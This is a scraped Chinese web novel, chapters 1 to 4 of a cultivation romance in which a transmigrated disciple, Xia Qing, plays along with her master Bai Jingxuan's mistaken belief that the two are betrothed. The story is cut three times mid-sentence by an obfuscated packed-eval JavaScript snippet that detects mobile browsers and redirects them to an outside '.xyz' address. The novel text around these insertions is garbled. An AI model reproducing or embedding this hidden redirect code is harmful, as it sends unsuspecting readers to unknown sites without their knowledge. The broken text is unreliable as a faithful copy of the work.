《师尊每晚要我哄着睡》 1. 第一章 仙界异洲,九瑶川。 紫霄神峰峰顶,一大批弟子围聚观山台,等候峰主出关。 镜玄仙尊冲击金仙之境,已闭关十年之久。 昨日起,紫霄峰顶彩云攒动,仙鹤盘旋,祥瑞之兆突现。 仙尊此次出关,必定神功大成,修为再有精进。 长老清点了弟子人数,白眉轻蹙:“怎么不见夏清和柳菡云?” 人群外围,驻峰执事抱拳回答:“回禀长老,昨日夏清就没有回峰修炼,今晨弟子们上山时,也没瞧见她,至于柳菡云……她可能睡过时辰了。” 话音落下,观山台上嘻声一片。 长老重重叹了一口气:“又是她俩!” 一个天生废物,烂泥扶不上墙,另一个天赋奇才,恃才傲物,都是出了名的问题弟子。 长老摆摆手:“再去找找夏清,可能在哪个僻静之出修炼呢。” 执事应声,扭头下山,人群中有弟子趁机说道:“这废物哪里需要修炼?保不准儿在哪座林子里被恶兽叼了去!” 弟子们哄堂大笑,在场几位长老却齐齐变了脸色。 长老怒而拂袖:“住口!你们休要胡言!” 其声如雷,轰隆一下炸得天上七彩云层都颤了颤,弟子们见长老当真怒发冲冠,纷纷噤声不敢多言。 紫霄峰半山腰,一处幽僻的山坳中,夏清悠悠转醒。 “嘶——” 头好痛。 夏清抬手揉了揉脑袋,摸到一个大青包。 “……” 睁眼,目之所及尽是荒山野岭,她穿着一身古怪的衣服风中凌乱。 无数画面在脑海中闪现,有属于她自己的,也有别人的。 五分钟后,混乱的记忆合二为一,夏清终于确认了一件事:她好像是……穿越了。 事实虽然荒谬,但对她这个二十一世纪末法时代六亲缘浅且不出世的易学天才而言似乎并不是很难接受。 她穿进一本女主修仙小说,这副身体的主人凑巧也叫夏清。 虽然文里的夏清只是一个炮灰废柴,但设定中她有一个超厉害的师尊——白镜玄。 此人天赋异禀,不足两百岁就已成就玄仙之体,享誉仙界不说,在九瑶川更是绝对金字塔顶端的人物。 多少人挤破头想拜入镜玄仙尊门下,可惜镜玄仙尊铁面无情,百年以来座下只有夏清一个弟子。 “哇哦,原来天上真的会掉馅饼,难不成我在二十一世纪没修成的仙要以这种形式修上了?” 穿越嘛,大抵都是前身遇害枉死,她适逢其会借体重生。 道法自然,存在即合理,只需查清前身死因,完成前身心愿了结因果,她就能在这个世界中继续生活。 夏清拍拍手站起来,脑子还是昏沉沉的,似乎有什么关键信息还没来得及消化。 算了,不重要。 她揉了揉太阳穴,感觉脑袋稍微清醒一些,便左顾右盼,收集可用线索。 身后缓坡上有一条明显的划痕,周围大片断裂的枯枝草叶。 显而易见,她是从这里掉下来的。 夏清沿着缓坡往上爬,上头一条被野草覆盖的小路穿过幽密的丛林。 草木过于旺盛,露气又重,夏清花了点时间,沾了一身晨露。 路窄而湿滑,边缘处一小块泥土塌陷下去,四周似乎没有第二个人的脚印。 夏清托腮琢磨,难道只是一个普普通通的意外? 修仙世界,不能以常理论之,夏清反手揪下几片树叶,随手一扔。 “乾,离,天火同人。”夏清眉梢一挑,放了心,“同人卦,人际无咎,我果然是自己摔的,但按理说这点伤应该不至于摔死……” 想起上一世自己的死因,夏清悲从中来。 千挑万选的吉日也不是百分之百的吉,凡事总有意外。 “点儿太背了,怪不得别人,你速速往生吧。”夏清叹了口气,念了几句经文超度亡魂。 既是意外,就不必寻仇,夏清乐得轻松。 啊,不过,她接下来去哪儿? 这念头划过脑海,忽然身后传来清脆的银铃声。 夏清扭头向身后瞧,不一会儿,银铃声渐近,灌木丛向两边扒开,一颗脑袋从枝叶后探出来。 来人身上的衣服和夏清自己同款不同色,头发乱糟糟的,不修边幅,一双漂亮的眼睛困恹恹地眯成缝,一看就是没睡醒。 看见夏清,来人那双眯眯眼倏然睁开,瞪得圆溜溜的。 夏清:“你谁?” “柳菡云。”来人口中应着,同时扒开灌木踏上小道,“我以为路上没人呢,你居然也知道这条上山的近道。” 银铃声再次响起,夏清循声望去,注意到柳菡云腰间一把玉扇,扇尾坠着两只圆圆的小铃铛。 柳菡云步履往前挪,小铃铛便发出叮铃铃的脆响。 夏清一阵头晕,脑海中倏地投射出一副画面。 柳菡云在山间疾行,腰间铃铛响个不停。 某时她忽地停下脚步,蛾眉紧蹙,迅速倒退回来一段,意外发现了夏清的尸首。 柳菡云大惊,迅速将消息带到紫霄山顶。 适逢镜玄仙尊出关,获悉此事,惊怒交加,一边下令封山,着人调查夏清出事之因,一边当众施法,招回夏清亡魂,令夏清死而复生。 画面中镜玄仙尊的面貌看不真切,但沸腾翻滚的情绪却实打实地击中夏清。 见夏清似乎没有挪步的意思,柳菡云睨她一眼:“不走啊?” 道路狭窄,左边是坡,右边是坎儿,只够一个人过,夏清不向前走,柳菡云只能停下脚步。 “你叫什么名字?”夏清煞有介事地又问了一遍。 柳菡云给了夏清一个莫名其妙的眼神,却还是很有耐心地回答:“柳菡云。” “柳菡云……”夏清喃喃地重复一遍,忽然脱口而出,“你就是主角?” 柳菡云蹙起秀媚,眼神中流露疑惑:“主角?” “啊……咳。”夏清恍惚回神,清了清嗓子,竖起一根手指,找补道,“主角光环,泛指天赋异禀,惊才绝艳的后起之秀。” 柳菡云沉默须臾。 “噗。” 她眉眼弯弯笑了开来,“夏师妹,你平日里安安静静呆头呆脑的,没想到居然这么有意思。” 夏清囧。 穿越就是厉害,她刚来就产生了蝴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822065|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝶效应,并以一己之力改变了剧情走向。 按照原来故事的发展,镜玄仙尊施法还能救回故事里的夏清,可她这一来把人身体占了,如此关键的故事节点大概率也会直接略过。 算了算了,既来之则安之,她活都活了,也不可能当着柳菡云的面再死一遍。 “快走吧,夏师妹,别磨蹭,待会儿真赶不及了。”柳菡云催促道,“峰主发火还是挺吓人的。” 夏清被柳菡云推搡着稀里糊涂上了山。 刚踏上最后一级台阶,柳菡云便从她身侧凭空消失,下一秒出现在其中一位长老身侧,装作一开始就在的样子。 夏清也打算找个地方歇着等,不料步子尚未迈出,便有人横剑拦在她跟前:“夏清,你昨日不好好修炼就算了,峰主出关大典居然还敢迟到!你根本不配做镜玄仙尊的弟子!” 话音落,无数双眼睛齐刷刷看过来,尽是幸灾乐祸。 “……”夏清无语。 她和柳菡云一块儿上来,怎么只有她遭受责难。 来人怒发冲冠,气势汹汹,似乎不惜破坏宗规挑起私斗也要为镜玄仙尊打抱不平。 夏清撇嘴,反唇相讥:“那你配?你配我师尊为什么不收你当徒弟?” “你!” 此人怒极,拔剑就朝夏清冲过来。 周围人也纷纷侧目:废物夏清什么时候改性子了,居然敢当面锣对面鼓地与人对峙交锋? 夏清纵然嘴皮子利索,但架不住对方修为高过她许多,剑光一闪,锐气交错,面庞霎时隐隐作痛。 不远处,柳菡云皱起眉头,她身侧长老也做好准备出手。 便在此时,天空中忽地响起一声惊雷,彩色祥云飞快翻滚,细雨纷扬而下。 夏清心念一动。 雷水解,事有转机,静观其变。 夏清端端站着,没动。 当—— 锐刃被无形的气浪弹开,挑衅夏清这名弟子整个人腾空而起,瞬间飞出老远,落地哐一声响,地板都震了一下。 夏清暗暗吃惊,心想:这一摔起码断三根骨头。 清冷惑人的嗓音这时在夏清身侧响起:“怎么不躲?” 有些耳熟,像在哪里听过。 夏清闻声缓缓扭头。 随后,愣住。 白衣素净,清潋如洗。 这一抹清影映入视野的瞬间,天地万物便失去颜色。 夏清从未见过什么人,能美得如此惊心动魄。 她宛若九天玄月,清辉耀眼。 这个人,就是白镜玄。 她的师尊。 “我……” 夏清嘴唇动了动。 话未出口,忽然,她袖中掉出一物,滴溜溜滚到美人脚边。 夏清视线下意识跟着挪过去,于是空荡荡的脑海中不期然浮现一个画面。 神秘人约她去林子里见面,悄咪咪地交给她一件东西,让她寻机设法将此物藏到白镜玄的洞府中。 正是因为这件东西,前身回程途中惴惴不安,才不慎脚滑摔下陡坡。 这块石头说好听点是传音玉,换个名字,它叫窃听器! 夏清:“艹!” 2. 第二章 镜玄仙尊淡淡扫了夏清一眼:“嗯?” 夏清呼吸停滞,瞳孔放大,思维宕机。 啊啊啊啊啊! 怎么会有人相信天上掉馅儿饼这种东西! 天上掉的馅儿饼一定是有毒的!自古穿越没好事! 慌乱之间,夏清陡然立正,迅雷不及掩耳一脚把那玉石踢开,再丝滑流畅地朝镜玄仙尊鞠了一个九十度的大躬:“恭喜师尊出关!有师尊在,弟子谁也不怕!” 夏清敢发誓,她念小学加入少先队的时候都没有这么中气十足地表过决心。 白镜玄瞳眸深深,盯得夏清惴惴不安。 刚才受伤的弟子还躺在哪儿呢,白镜玄只需动一动意念,就能碾断她三根肋骨。 不知道师尊有没有发现她先前的小动作。 想掐指算一算,可师尊目光慑人,夏清动也不敢动。 越是焦灼,时间便越难熬,十秒钟等得夏清感觉好像已经天荒地老。 白镜玄唇边倏地漾开一抹浅笑:“当真?” 前一刻还霜冻三尺,刹那间冰消雪融,就连山间吹过的风都好似柔和了许多。 夏清小心肝儿扑通扑通跳得厉害,劫后余生,背上衣服也被冷汗湿透。 九天寒月,神秘,幽寂,同时也危险。 不过从结果来看,应该暂时安全。 镜玄仙尊话音一落,峰上弟子齐刷刷跪下一大片,几位长老也纷纷抱拳躬身:“吾等拜迎仙尊出关!” “都起来吧。” 仙尊嗓音清寒,负手立于人群之中,一举一动,都是万众瞩目的焦点。 她的视线终于从夏清身上挪开,扫过四周数百张面孔:“说说,近来峰上如何?” 夏清悄无声息松了口气,卷起袖子擦擦汗。 几位长老走上前来,其中一位代表开口发言:“仙尊闭关十年,紫霄峰新纳弟子二十一人,其中两人飞升自仙樾岛,余下十九人皆来自蛮荒神川。” “峰上弟子们日日勤勉修行,修为稳步提升,各洲后辈弟子中又以天同洲柳菡云修行成果最为卓著,于三年前率先突破真仙境。” 白镜玄点了点:“不错。” 好几个穿着天同洲淡蓝色制服的弟子们喜上眉梢,与有荣焉。 “三个月后群峰试炼,初选弟子名录已整理在册,烦请仙尊过目。” 长老语罢,双手呈上一支玉简。 白镜玄接过玉简,意念轻轻一扫便皱起眉头:“你拟的名录?” 长老垂首:“是。” 白镜玄问她:“为何没有吾徒之名?” 似没料到镜玄仙尊会如此发问,长老愣了愣,随即略感无助地看向左右:“这……” 镜玄仙尊只有一个弟子,那就是夏清。 如果直说夏清乃是烂泥一坨,又修炼了十年还是没有突破,会不会触怒仙尊? 夏清又抹了一把汗。 这群峰试炼听起来就不是一个好词儿,其实她不去也行的。 “参与群峰试炼最低也需半步地仙修为,否则非死即伤,夏清实力不够。”众人迟疑之际,终究还是有人实话实说。 夏清扶额,透过指缝悄悄观察,见说话之人从队伍里站出来。 其人着淡蓝纱衣,小圆脸,长得慈眉善目和蔼可亲,没想到说话这么直接果敢。 天同洲主,也是柳菡云的师尊,湘忆颜。 意料之外的,镜玄仙尊并未动怒,只淡淡道:“加上。” 长老揪下一小撮眉毛。 碍于白镜玄坚持,他不得不应。 湘忆言似还有话说,被一旁柳菡云拽住。 夏清暗暗叹了一口气:师尊对她的好真是严厉又沉重。 镜玄仙尊在场,周围弟子们不敢将喜怒表现在脸上,可隔着老远,夏清都能感受到他们的幸灾乐祸。 夏清知道这具身体的原主是个废柴,但不清楚废到什么程度。 内里换了芯,天赋水平会不会有所改变?她现在开始修炼来不来得及? 一连串问题凭空出现,夏清抓耳挠腮。 镜玄仙尊将玉简还给长老,吩咐道:“天色已晚,若无他事,你们便退下吧。” 众长老弟子躬身拜退,夏清趁机转身,欲混入人群溜走。 仙尊闭关这十年,原主也不是在紫霄峰顶上住的。 “清儿。” 身后传来的轻唤令夏清步子一顿。 不知道是不是夏清的错觉,周围几名弟子脚步的好像也跟着放慢了。 “师尊。”夏清转过身去。 哪怕她心里咯噔极了,面上也要恭恭敬敬。 却见白镜玄缓步行至身前,于众人侧目中执起她的手,眉目舒展,面带浅笑,温声道:“回屋吧,该歇了,今夜卿为为师更衣。” 夏清以及周围未撤远的众弟子:“?!” 就连长老们都面露震惊之色。 需知,镜玄仙尊虽然颇为爱护夏清,可过往数十年,却从未让夏清留在紫霄峰顶上侍候。 这是有历史缘由的。 因为夏清长得像极了仙尊过世多年的妹妹。 这也是夏清纵然没有太多修炼才能,体弱几如一介凡人,却仍能留在紫霄峰修炼的真正原因。 可今日仙尊怎地如此反常? 夏清愣怔许久没有反应过来,她看到的剧本里好像不是这么写的? 难道…… 她的身份暴露了? 她该立即逃走,还是坐以待毙? 可拉倒吧,想从镜玄仙尊手中逃走,只怕是会比老老实实交代忏悔死得更快。 白镜玄没有立即杀死她,就是还有余地。 与她交握这只手温润如玉,肌肤细腻清凉,触感……极好。 夏清放弃抵抗。 视野范围之中虚空波动,一转眼,场景变换,人群已然散去,吵闹尽数消弭,呈现在夏清眼前的已换作另一幅景象。 玉质的桌面上一盏烛火摇曳着,火光静谧,却炽热,快速地跃动着。 像极了夏清的心跳。 烛台为火,方桌为地,火地成卦,为晋。 晋卦? 夏清心口一颤,怎么会是晋? 离,美人也,上卦位高,火生土,坤曰顺。 白镜玄要提拔她?如何提拔?以她现在的位置和身份来说,得到师尊青睐结果也是祸福难料。 可惜眼下她不能妄动,只能顺势而为,毕竟这里是白镜玄的洞府,四壁定有重重法阵,连只苍蝇都飞不出去。 未知势必带来恐惧,还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822066|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如一刀两断来得痛快。夏清悄悄为自己捏了一把汗。 “傻站着干什么?”白镜玄在床榻旁坐下,随手摘下束发的发簪,目光流转,朝夏清望去,“快过来,替为师更衣。” 夏清:? 真要脱衣服? 白镜玄姿态放松,神情中没有防备,不像作假的样子。 此人可是镜玄仙尊,捏死她如同捏死一只蚂蚁,似乎……也没有理由绕这么大的弯子来骗她。 夏清飞快看了一眼窗外。 天空的确稍暗了些,峰顶上祥云还未尽散,天色将将擦黑,顶多七八点,白镜玄这么早就要睡觉? 修仙人活得久,说不定是因为养生。 夏清深吸一口气,怀着忐忑又莫名紧张的心情一步一顿,小心翼翼走近白镜玄。 指尖还未碰到师尊的衣服,淡淡的紫藤花香气已飘飘渺渺萦绕于鼻间。 夏清不由走了下神。 紫藤花,花语是执着,沉迷,和思念。 代表为情而生,为爱而亡。 夏清目光悄悄上抬,在师尊脖颈处优美精致的曲线间游移须臾,暗自咋舌。 哪怕褪去一身冷锐的锋芒,白镜玄也依然肃穆如九天寒月,和紫藤花所代表意象一点也不搭。 一晃神,夏清手中本就难解的衣带系成了死结。 夏清:“……” 仙人穿的衣服真麻烦! 夏清尴尬地清了清嗓子:“抱、抱歉,我没解过别人的衣服,还,还需要一点时间。” 白镜玄凝望着她,眼神静而深,像一汪无底的潭。 “无妨,慢慢来。” 白镜玄语速不急,甚至能称得上温柔,夏清却忍不住手抖。 这女人的气场实在是太强了。 她得尽快伺候师尊睡下,早点离开才能喘口气。 白镜玄越不急,夏清反而就越慌,越慌,手就越颤,捣鼓了将近五分钟,衣带也没有解开。 偏生白镜玄这身衣服布料材质实在是过于好了,看起来细细两根绳,夏清暗戳戳用蛮力拽了几次也没有扯开。 夏清:“……” 她无计可施。 完蛋了。 万念俱灰之际,一只微凉的手轻轻覆上夏清的手背。 下一秒,绳结自然松开。 夏清瞪圆眼。 白镜玄唇边抿着一丝笑意,无奈道:“这法术为师应该教过你,忘记了?” 衣带解了,宽松的襟口便向两边敞,顺着白镜玄线条柔美的肩膀往下松脱。 夏清心跳扑通漏了一拍,喉咙颤了颤,结巴道:“我、我修为低,不,不会用。” 她这话说完,白镜玄面上竟流露深思之色,沉吟着说:“其实……为师闭关修炼之时已想到替你打破桎梏的法门。” 这话爱听,夏清眼睛一亮,试探着问:“什么办法?” 她话音未落,白镜玄倏而探出手来,并起两指挑起她的下巴。 镜玄仙尊眼角微弯,那双幽深寂寥的瞳眸凝望夏清时眼神沉默而专注,如黑洞般将夏清的视线收束过去。 便见她清冷凉薄的唇稍稍动了动,平静淡然地吐出几个字:“与为师双修。” 夏清:“……” “……嗯?!!!” 3. 第三章 双修?? 夏清人傻了,是她理解的那个双修吗? 会,会不会太突然了? 她们这样的关系放到二十一世纪的神州大地也属于是红线上蹦跶,连小绿江都不能过审的! 夏清憋红脸,缓了一会儿才艰难开口:“这……不太好吧?” 虽然,和白镜玄双修,好像怎么算她也不吃亏。 甚至有种癞蛤蟆吃到天鹅肉,伸手就摘到了月亮,白捡一个大便宜的感觉。 夏清自认没有特别高的道德标准,可冥冥中有股直觉叫她心里打鼓,这一步迈出去,再想回头就难了。 她刚刚才吃了个看似捡便宜的闷亏,实在不得不防。 “有何不好?”白镜玄沁凉的指尖轻抚夏清脸颊,搓小狗似的揉了揉,“你我既是仙侣,双修不该理所应当?” 等会儿,什么? 夏清震惊。 她这具肉身的原主十九岁时来到紫霄山,在白镜玄身侧随侍二十余年。 白镜玄十分敏锐,且防备心重,对夏清的身份有所怀疑,曾多次派人调查她的来历,皆无头绪,加之夏清无法修炼,调查事宜便不了了之。 只不过,夏清虽然留在紫霄峰,空有白镜玄首徒的名头,却并未受到白镜玄的重用。 也正因如此,尽管夏清一直与神秘人保持联络,将从白镜玄处探听到的信息传递出去,却也没有探听到多么有价值的内容。 综上所述,原身与白镜玄,百分之百不可能是仙侣。 那么问题出在哪里? 夏清想不明白,下意识缩了缩脖子,试探着问:“什么时候的事儿?” 白镜玄扬眉:“嗯?” “额,我的意思是……”夏清斟酌措辞,小心翼翼地开口,“我和师尊什么时候成为仙侣的?” 白镜玄闻言薄唇轻抿,面露不悦:“清儿不记得了?” 夏清心里一咯噔,急忙狡辩:“不是不记得,是怕记错,想再跟师尊确认一下。” 白镜玄淡淡睨她一眼,没有说话。 夏清直觉意会,师尊脸上没有表情,就是不高兴。 她脑子一转,想到主意。 于是乖巧地捧起白镜玄的手,脸凑过去重新贴上,歪歪头装成一只小狗狗。 这一招显然凑效。 白镜玄的眉目终于舒展,随即视线垂落,大发慈悲地开口:“是在为师闭关之前,神历六万八千四百二十三年仲秋。” “那一日,为师与卿互鉴真心,清儿还曾言说永生永世非为师不许,与为师约定闭关结束之后设宴酬宾,请日月天地为证举行结契之礼。” 白镜玄有条不紊地说完,后专注地望向夏清:“这些,清儿都忘了么?” 夏清:“。” 要不是她清晰记得白镜玄闭关时是春末夏初,山间桃花开尽陆续凋谢的时节,白镜玄这番深情款款的言语她差点就信了。 白镜玄说得那么恳切,却连自己开始闭关的时间都弄错了。 结合刚才灵机一动卜算得到的卦象,夏清合理推测,只怕是白镜玄这十年闭关修炼过程中出了岔子,导致记忆混乱,才会与她这样亲昵。 如此一来倒是峰回路转,给她留了些许转圜之机。 正因为白镜玄误以为她们是仙侣关系,今日闹剧发生时,坠落脚边的传音玉才没有引起白镜玄的怀疑。 可这绝非长久之计。 夏清脑子一转,迅速回神,朝白镜玄咧嘴一笑:“当然没忘了,师尊记得这么清楚,我很开心。” 她穿越过来为防被当做异端本来也要演戏,既然白镜玄对她们的关系如此深信不疑,她给自己多加一份戏码,也不是不行。 “与清儿相关的事,为师都记得。” 白镜玄温声说着,眼底流淌淡淡的波光。 夏清分明知道这些深情的言语是短暂的假象,却还是不争气地被狠狠拨动了心跳。 “夜已深,我们该歇息了。”白镜玄拨开遮挡夏清眼睛的碎发,“来,为师将双修的法门教给你。” 夏清正愣怔出神,忽觉手腕被白镜玄握紧,随即一股绵力将她轻轻一带,她便自然起身,被师尊引上卧榻。 下一瞬,她肩膀一凉,系带散开,衣服悄无声息顺肩滑落。 这,这就要开始了?! 夏清顿觉惊慌,手足无措。 白镜玄清润的嗓音在身侧响起:“清儿,放松一些,别紧张。” “……”夏清直挺挺躺在榻上,身体僵硬得像一块木头。 不紧张才有鬼了。 可她紧张之余,又有一点不可言说的侥幸和背德的刺激感在心底晦暗的角落悄悄生长。 她可是在高科技时代生活过的现代人,总不能比白镜玄更保守,脱离精神的束缚,仅仅是肉身短暂的沉沦与放纵,似乎也不会怎么样。 怀着这样惴惴不安的隐秘期待,夏清深吸一口气,干脆合上眼等待。 可等了许久,没有等来更进一步的内容。 夏清眼睛掀开一条缝,往身旁瞅了瞅。 白镜玄将取下的衣衫整齐叠好置于床头,随后贴着夏清躺下,与夏清肩并肩,握住夏清的手。 “清儿,凝神静气。”白镜玄轻声开口,“为师会将法力渡入你的身体,你尽量放松,不要抗拒,让为师引导你体内的法力气行周天,修复拓展破损与阻塞的经脉。” 夏清悬着的心终于凉了。 白镜玄所言原来是这种正儿八经的双修。 怪她这个现代人思想太开放,原来古人必须结婚之后才能牵小手。 夏清失笑,笑自己白纠结一场。 同时她也长出一口气,缓缓放松身体。 与白镜玄指掌相触的肌肤泛起温热,一股明显的暖意徐徐涌进夏清的身体。 随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822067|158748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白镜玄注入越来越多的法力,夏清能清晰感觉到自己体温上升,热意以手掌为原点向四周扩散,充盈肺腑。 尽管她自己无法内视经脉,但也能感受到白镜玄的法力在她四肢百骸之中流转时激发的力量。 镜玄仙尊修为高深,法力浩渺如烟海,浑厚充盈,绵延不绝。 修炼过程不知持续了多长时间,由于浑身熨帖,像泡在温泉里,夏清舒服得昏昏欲睡。 直至某时,小腹忽然刺痛。 夏清一个激灵惊醒过来,瞌睡一扫而空。 她睁开眼睛的同时,白镜玄也松开她的手:“清儿,今日之后,你可以修炼了。” 夏清翻身坐起,小腹处针扎般的刺痛感正缓缓消失,与此同时,一种新颖的感受凭空出现。 她能感受到充盈于天地间的自然之力了。 她的身体空虚饥饿,却不是渴望食物,而是渴望修炼。 她的双眼能看见空气中的灵气分子渗入她的身体,与她血脉交融,流淌于她体内经络之中,最后像长河入海般纳入丹田。 “好神奇。”夏清翻开掌心,仔细观察刚才与白镜玄相握的手掌,由衷赞叹,“师尊你也太厉害了。” 白镜玄侧躺在夏清身边,单手撑着侧脸,面露微笑。 夏清沉浸在新奇的感受中,兴致勃勃趴到白镜玄跟前,双手托腮,无所顾忌地问道:“照这样修炼下去,到群峰试炼开始,我的修为大概能达到什么程度?” 白镜玄认真想了想,方答:“突破地仙应当无碍。” “这么快就能到地仙?”夏清惊讶。 书中故事的世界观不小,分了好几个位面,下界飞升而来的人类仙修初始就是大乘境,大乘境的仙修继续往上,将陆续成就地仙、真仙、灵仙、玄仙、金仙、伏神、上神和天神。 夏清是神族与人族的混血后代,因为出生在仙界,继承了一小部分神族的血脉力量,所以生来便有大乘境的修为,却也因为混血的缘故,她血脉传承残损,而且无法修炼,更别提继续突破提升。 有大佬带就是好啊,原身自行修炼二三十年,抵不上白镜玄给她传功三个小时。 夏清一再感叹自己运气好,虽然最大的问题还没解决,危机隐患并未消除,但只要她可以修炼,终还有搏一搏生机的可能。 她都是死过一次的人了,对死亡的恐惧也就那样,上天愿意给她再活一次的机会,就算她开局只拿到一手烂牌,只要生命没有结束,这场牌局的输赢就还没有定论。 不管怎么样,她要先稳住白镜玄,同时为自己早做筹谋。 “清儿。” 白镜玄探出一只手,指节微曲勾住夏清衣角,由下往上凝望夏清的脸庞。 夏清闻声扭头,不期然与一双幽寂深邃的眼眸隔空相触。 “我有些乏了。”白镜玄开口,嗓音柔和,语调温软,“清儿哄我睡觉好不好?” 4. 第四章 扑通。 夏清听见自己的胸腔里传出一声震耳欲聋的心跳。 白镜玄,这位地位尊崇实力强大且容颜绝美的高岭之花,剥去人前清冷疏离的外衣,一边小动作不停拨弄她的衣角,一边黏黏糊糊地撒娇。 这谁能顶得住啊?! 没有当场沦陷已经是她意志强大,夏清怀着惴惴不安的心情眼泪从嘴角淌下来。 心底某个晦暗的角落甚至悄无声息地浮现出一个大胆的念头:要不就顺水推舟假戏真做? 可仅剩不多的理智叫她悬崖勒马,想想白镜玄记忆恢复之后她可能付出的代价,夏清瞬间清醒了。 始于欺骗的感情就算短暂尝到甜头,最终也绝不会有好结果,她还是不要玩火自焚。 夏清深吸一口气,找回岌岌可危的理性。 她迎上白镜玄的目光,平静道:“好。” 语罢夏清翻身侧躺,抬起一只手来轻拍白镜玄的肩膀。 白镜玄似是真的乏了,合上眼没多久便呼吸平稳地睡着了。 就夏清所知,白镜玄应当来自仙宫,身为紫霄峰之主,毕生追求大道无极,曾将数不胜数的追求者拒之门外。 此刻,她却像一只安静的小兽乖乖伏在夏清怀里,睡得安安静静,不设丝毫防备。 夏清借朦胧月色偷偷观察怀中之人。 白镜玄脸上每一个细节都像经过造物之神的双手精雕细琢,细腻美好,挑不出一丝一毫的瑕疵。 为美好的事物而迷醉是不可改变的人性,夏清也不例外。 有那么几个瞬间,“就偷偷吻一下”与“要不要偷偷跑走”两个念头在夏清脑海中激烈碰撞、交锋,以至于她睡意全无。 危机感转化为重重压力,夏清瞪着双眼,不知不觉窗外天光越来越亮,她境彻夜不眠。 熟睡中的人似乎感受到窥探,纤长柔软的睫毛微微颤了颤。 夏清毫不犹豫合眼装睡。 片刻后,怀里的人有了动静。 白镜玄悄悄起身。 她离开床榻时,微微凉意灌进夏清怀里,不可避免激起两分惆怅失落。 毕竟,这可是白镜玄。 谁知道她什么时候会察觉问题?可能明天,也可能今天,别人求也求不来的机会她走狗屎运碰上了,多抱一下都是赚到。 思绪纷飞之际,一条丝被盖了下来,白镜玄不仅没走,还细心地替夏清掖好被角。 掖被角时,白镜玄的手背似不经意的擦过夏清脸颊,夏清的心跳霎时飙到一百二十码。 很难不被觉察。 “清儿?”白镜玄出声,“为师弄醒你了?” 夏清略感尴尬,为防白镜玄从她脸上瞧出端倪,她借着伸懒腰的机会抬起胳膊遮挡眼睛,同时瓮着声回答:“没有,我自己醒的。” 白镜玄正要回答,忽而洞府外传来人声:“峰主,五洲弟子年比切磋即将开始。” 先前白镜玄闭关时,紫霄峰上每日日程照常推进,负责监督检阅的是各洲的长老和执事,不必汇报给白镜玄。 如今白镜玄出关,各项事务便纷至沓来。 白镜玄点头:“知道了,本座稍后便去。” 夏清撑着胳膊起身,白镜玄问:“不再睡会儿?” “不睡了,师尊都要开始忙活,哪有弟子睡懒觉的道理?”夏清翻身下床,手脚利索地叠好被子。 回头,白镜玄手中已拎起她的衣服,朝她抖了抖:“清儿,过来穿衣。” 夏清见状,想起昨夜衣服被剥掉的景象,羞窘地红了耳朵。 于是视线撇开,伸手去拿衣服,小声咕哝道:“……我可以自己穿。” 话音落,衣服扯了两下,纹丝不动。 夏清感觉到不对劲,偷偷朝白镜玄瞥一眼。 只见白镜玄双手紧紧捏着夏清的衣服,双眼黯然,漂亮好看的眉毛也微微撇下,神情间隐现忧伤:“为师闭关太久,清儿与为师疏远了?” 夏清:“……” 她感觉自己罪大恶极。 “没,没有的事。”夏清慌慌张张解释,“我只是觉得,这点小事不必麻烦师尊。” 白镜玄抿唇不言。 夏清扶额。真是越描越黑。 她干脆不再多言,抬起胳膊借白镜玄之手穿上衣服。 白镜玄这才重拾信心,亲力亲为替夏清系好衣带,又耐心细致地抚平夏清的衣领,唇边弯起一抹笑:“清儿秀外慧中,好看极了。” 夏清被夸得不好意思,错开眼神不与白镜玄对视,嘴上恭维:“师尊才漂亮呢,大美人。” 白镜玄追问:“清儿当真觉得为师容貌出众?” “应该不止我这么认为。”夏清回答得相当坦诚,“若要论漂亮,紫霄峰上师尊若居其二,就没人敢称第一。” 白镜玄却道:“别人言语大都是恭维,只有清儿待为师是真心。” 夏清:“。” 全紫霄峰最不真心的人大概就是她夏清。 夏清心虚地不敢接话。 她一把挽住白镜玄的胳膊,催促道:“咳,师尊,咱们该出发了。” 白镜玄由夏清挽着,不仅没有抗拒,眼尾还弯起一丝浅浅弧度,应她:“好。” 观山台上已划出一块空地作为切磋擂台,五洲弟子共计百余人齐聚于擂台旁,兴致勃勃讨论此次年比哪几个人能进前十。 倏然,虚空漾起一阵波动。 众长老早知峰主会来,迅速示意在场弟子噤声。 波光散去之后,虚影凝实,白镜玄携手夏清凭空出现在观山台上。 人群霎时肃静一片。 几位长老正待参拜仙尊,却在看清白镜玄身侧之人时,忍不住微微侧目。 夏清竟能与白镜玄同时登台,是不是说明,仙尊此次出关之后会开始重点培养夏清? “吾等参见峰主!”众长老齐齐下拜,台下弟子也哗啦啦跪下一片。 